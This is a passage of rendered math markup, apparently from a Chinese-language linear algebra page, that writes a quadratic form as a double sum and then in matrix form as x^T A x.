style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">nn</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.0652em;vertical-align:-1.4138em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">ij</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>将其用矩阵表示，</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>x</mi><mn>1</mn></msub><mo stretchy="false">(</mo><msub><mi>a</mi><mn>11</mn></msub><msub><mi>x</mi><mn>1</mn></msub><mo>+</mo><msub><mi>a</mi><mn>12</mn></msub><msub><mi>x</mi><mn>2</mn></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mrow><mn>1</mn><mi>n</mi></mrow></msub><msub><mi>x</mi><mi>n</mi></msub><mo stretchy="false">)</mo><mo>+</mo><msub><mi>x</mi><mn>2</mn></msub><mo stretchy="false">(</mo><msub><mi>a</mi><mn>21</mn></msub><msub><mi>x</mi><mn>1</mn></msub><mo>+</mo><msub><mi>a</mi><mn>22</mn></msub><msub><mi>x</mi><mn>2</mn></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mrow><mn>2</mn><mi>n</mi></mrow></msub><msub><mi>x</mi><mi>n</mi></msub><mo stretchy="false">)</mo><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>x</mi><mi>n</mi></msub><mo stretchy="false">(</mo><msub><mi>a</mi><mrow><mi>n</mi><mn>1</mn></mrow></msub><msub><mi>x</mi><mn>1</mn></msub><mo>+</mo><msub><mi>a</mi><mrow><mi>n</mi><mn>2</mn></mrow></msub><msub><mi>x</mi><mn>2</mn></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mrow><mi>n</mi><mi>n</mi></mrow></msub><msub><mi>x</mi><mi>n</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(x) = x_1(a_{11}x_1 + a_{12}x_2 + \ldots + a_{1n}x_n) + x_2(a_{21}x_1 + a_{22}x_2 + \ldots + a_{2n}x_n) + \ldots + x_n(a_{n1}x_1 + a_{n2}x_2 + \ldots + a_{nn}x_n) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">21</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">nn</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo>=</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>1</mn></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>2</mn></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo lspace="0em" rspace="0em">…</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mi>n</mi></msub></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>a</mi><mn>11</mn></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>a</mi><mn>12</mn></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo lspace="0em" rspace="0em">…</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>a</mi><mrow><mn>1</mn><mi>n</mi></mrow></msub></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>a</mi><mn>21</mn></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>a</mi><mn>22</mn></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo lspace="0em" rspace="0em">…</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>a</mi><mrow><mn>2</mn><mi>n</mi></mrow></msub></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">⋮</mi><mpadded height="0em" voffset="0em"><mspace mathbackground="black" width="0em" height="1.5em"></mspace></mpadded></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">⋮</mi><mpadded height="0em" voffset="0em"><mspace mathbackground="black" width="0em" height="1.5em"></mspace></mpadded></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo lspace="0em" rspace="0em">⋱</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">⋮</mi><mpadded height="0em" voffset="0em"><mspace mathbackground="black" width="0em" height="1.5em"></mspace></mpadded></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>a</mi><mrow><mi>n</mi><mn>1</mn></mrow></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>a</mi><mrow><mi>n</mi><mn>2</mn></mrow></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mo lspace="0em" rspace="0em">…</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>a</mi><mrow><mi>n</mi><mi>n</mi></mrow></msub></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>1</mn></msub></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mn>2</mn></msub></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">⋮</mi><mpadded height="0em" voffset="0em"><mspace mathbackground="black" width="0em" height="1.5em"></mspace></mpadded></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>x</mi><mi>n</mi></msub></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo>=</mo><msup><mi>x</mi><mi>T</mi></msup><mi>A</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">= \begin{pmatrix} x_1 &amp; x_2 &amp; \ldots &amp; x_n \end{pmatrix} \begin{bmatrix} a_{11} &amp; a_{12} &amp; \ldots &amp; a_{1n} \\ a_{21} &amp; a_{22} &amp; \ldots &amp; a_{2n} \\ \vdots &amp; \vdots &amp; \ddots &amp; \vdots \\ a_{n1} &amp; a_{n2} &amp; \ldots &amp; a_{nn} \end{bmatrix} \begin{pmatrix} x_1 \\ x_2 \\ \vdots \\ x_n \end{pmatrix} = x^T A x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:5.46em;vertical-align:-2.48em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span 